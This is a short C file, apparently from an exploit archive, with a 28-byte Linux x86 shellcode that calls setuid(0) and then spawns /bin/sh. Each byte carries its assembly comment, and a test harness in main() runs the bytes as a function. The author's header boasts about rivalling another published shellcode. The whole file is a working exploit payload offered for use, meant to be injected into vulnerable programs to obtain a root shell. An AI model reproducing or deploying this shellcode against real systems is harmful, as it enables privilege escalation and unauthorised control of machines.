35 lines
No EOL
1.1 KiB
C
35 lines
No EOL
1.1 KiB
C
/*
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* (linux/x86) setuid(0) & execve("/bin/sh",0,0)
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* 28 bytes
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*
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* http://www.gonullyourself.org
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* sToRm <hixmostorm@hotmail.com>
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*
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* I made this, because http://www.milw0rm.com/shellcode/7115 felt the need
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* to express his "superior" 28-byte shellcode in all caps. I wasn't able
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* to beat his code, but it's no longer special.
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*/
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char shellcode[] =
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// <_start>:
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"\x31\xdb" // xor %ebx,%ebx
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"\x6a\x17" // push $0x17
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"\x58" // pop %eax
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"\xcd\x80" // int $0x80
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"\xf7\xe3" // mul %ebx
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"\xb0\x0b" // mov $0xb,%al
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"\x31\xc9" // xor %ecx,%ecx
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"\x51" // push %ecx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\xcd\x80" // int $0x80
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;
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int main() {
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int (*f)() = (int(*)())shellcode;
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printf("Length: %u\n", strlen(shellcode));
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f();
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} |